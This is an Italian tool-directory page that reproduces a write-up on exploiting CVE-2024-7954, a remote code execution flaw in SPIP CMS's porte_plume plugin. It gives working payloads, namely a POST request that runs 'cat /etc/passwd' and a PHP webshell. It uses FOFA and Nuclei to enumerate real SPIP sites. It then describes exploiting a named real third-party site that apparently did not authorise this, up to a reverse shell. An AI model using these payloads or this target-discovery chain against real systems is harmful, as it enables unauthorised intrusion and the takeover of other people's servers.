Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954- — Sfruttamento di una vulnerabilità di esecuzione remota di codice - (CVE-2024-7954) | Kitploit
Strumenti/GitHubGitHub/shivanshkuntal/exploitation-of-a-remote-code-execution-vulnerability--cve-2024-7954-
RicognizioneScanner di Vulnerabilità WebAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e FormazioneRed Teaming

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Sviluppo Payload
Lab e Pratica
GitHubshivanshkuntal/exploitation-of-a-remote-code-execution-vulnerability--cve-2024-7954-

Exploitation-of-a-Remote-Code-Execution-vulnerability--CVE-2024-7954-

Sfruttamento di una vulnerabilità di esecuzione remota di codice - (CVE-2024-7954)

Vedi Repository
18 mesi faNon ancora revisionato
Condividi

Sfruttamento della vulnerabilità di esecuzione remota di codice (CVE-2024-7954)

Progetto di test di vulnerabilità del software Inviato da: Shivansh Kuntal


Panoramica

Questo progetto dimostra lo sfruttamento di CVE-2024-7954, una vulnerabilità critica di esecuzione remota di codice (RCE) che colpisce SPIP CMS tramite il plugin porte_plume. La vulnerabilità consente a attaccanti non autenticati di eseguire codice PHP arbitrario sul server di destinazione tramite richieste HTTP POST appositamente crafted.

I test sono stati condotti in un ambiente locale controllato e successivamente estesi a ricognizione nel mondo reale utilizzando FOFA e Nuclei.


1. Configurazione dell'ambiente

Una versione vulnerabile di SPIP CMS, confermata come affetta da CVE-2024-7954, è stata distribuita localmente su un server Apache utilizzando un repository GitHub che ospita release notoriamente vulnerabili.

Strumenti utilizzati

  • Burp Suite (intercettazione e modifica delle richieste HTTP)
  • Apache Web Server
  • FOFA Search Engine
  • Nuclei Vulnerability Scanner
  • curl (sfruttamento da CLI)

La homepage di SPIP in esecuzione su localhost ha validato la corretta installazione ed è servita come target per lo sfruttamento.


2. Descrizione della vulnerabilità

Il plugin porte_plume (prima delle versioni 4.30-alpha2, 4.2.13, 4.1.16) è vulnerabile a causa di una sanitizzazione insufficiente dell'input fornito dall'utente. Gli attaccanti possono iniettare codice PHP in specifici campi del modulo che successivamente viene renderizzato ed eseguito dal server.

Impatto: Esecuzione remota di codice non autenticata Gravità: Critica Vettore di attacco: Rete / HTTP POST


3. Prova di concetto (PoC)

Richiesta POST dannosa

root@kitploit:~
POST /index.php?action=porte_plume_previsu HTTP/1.1
Host: {{hostname}}
Content-Type: application/x-www-form-urlencoded

data=AA_[<img111111>->URL`<?php system('cat /etc/passwd'); ?>`]_BB

Note

  • Il codice PHP viene iniettato all'interno del motore di formattazione markdown.
  • Eseguito come utente SPIP sul server.
  • L'attacco non richiede alcuna autenticazione.

4. Ricognizione con FOFA

Una query FOFA è stata utilizzata per enumerare installazioni SPIP pubbliche:

root@kitploit:~
app="SPIP"

FOFA ha restituito diversi punti di metadati:

  • Intestazioni HTTP
  • Titoli
  • Indirizzi IP e geolocalizzazione
  • Stack tecnologico del server

Valore della ricognizione

  1. Enumerazione dei target: identificare server SPIP CMS raggiungibili.
  2. Fingerprinting delle versioni: determinare se versioni vulnerabili del plugin sono attive.
  3. Prioritizzazione: selezionare i sistemi potenzialmente sfruttabili.
  4. Verifica dell'exploit: validare gli endpoint utilizzando payload controllati.
  5. Automazione: esportare i risultati di FOFA in targets.txt per la scansione batch.

Un host reale adatto identificato:

root@kitploit:~
http://www.comite-tricolore.org/

5. Scansione automatizzata con Nuclei

Scopo

Poiché lo sfruttamento manuale è lento, Nuclei è stato utilizzato per automatizzare il rilevamento di CVE-2024-7954 su un ampio set di target.

Comando (Template personalizzato)

root@kitploit:~
nuclei -l targets.txt -t CVE-2024-7954.yaml
  • -l targets.txt carica i risultati di FOFA
  • -t carica il template PoC personalizzato

Nota: il template iniziale non ha restituito alcuna corrispondenza.

Scansione CVE ampia

root@kitploit:~
nuclei -l targets.txt -t cves/

Questa scansione ha identificato un target reattivo:

root@kitploit:~
http://www.comite-tricolore.org/

6. Validazione e sfruttamento manuali

Passo 1 — Ispezionare l'endpoint vulnerabile

Visita:

root@kitploit:~
http://www.comite-tricolore.org/spip.php?page=contact

Confermato:

  • Campi di input per nome, email, messaggio
  • Handler di richiesta POST adatto all'iniezione del payload

Passo 2 — Iniettare il payload PHP

Usando Burp Suite o curl, modificare il parametro message:

Payload

root@kitploit:~
<?php system($_GET['cmd']); ?>

Passo 3 — Attivare l'esecuzione dei comandi

Visita:

root@kitploit:~
http://www.comite-tricolore.org/spip.php?page=contact&cmd=id

Oppure usando curl:

root@kitploit:~
curl "http://www.comite-tricolore.org/spip.php?page=contact&cmd=id"

L'output ha confermato l'esecuzione remota dei comandi.

Passo 4 — Reverse shell (accesso finale)

Un payload appositamente crafted consente un callback reverse shell, permettendo:

  • whoami
  • ls
  • accesso shell interattivo completo

7. Osservazioni critiche

  • L'exploit non autenticato aumenta drasticamente la gravità.
  • La mancata sanitizzazione dell'input nel plugin è il problema principale.
  • Una volta che il PHP viene iniettato e renderizzato, è possibile la compromissione completa del server.
  • Reverse shell → potenziale escalation dei privilegi → presa di controllo del server.
  • L'attacco è banale da automatizzare con curl, script Python o Nuclei.

8. Conclusione

Questo progetto dimostra la catena completa di sfruttamento per CVE-2024-7954, dalla ricognizione fino all'ottenimento di una shell interattiva.

Percorso di sfruttamento

  1. Ricognizione (FOFA)
  2. Scansione automatizzata (Nuclei)
  3. Iniezione manuale del payload
  4. Esecuzione di codice verificata
  5. Accesso reverse shell

Lezioni di sicurezza

  • La validazione rigorosa dell'input è obbligatoria per tutti i dati controllati dall'utente.
  • I plugin devono seguire pratiche di codifica sicure.
  • Le organizzazioni devono applicare tempestivamente le patch di sicurezza.
  • Le valutazioni regolari delle vulnerabilità sono essenziali per prevenire attacchi RCE.

Questa vulnerabilità evidenzia come un plugin di formattazione del testo apparentemente innocuo possa creare una compromissione completa del sistema quando non è adeguatamente protetto.

Scarica lo strumento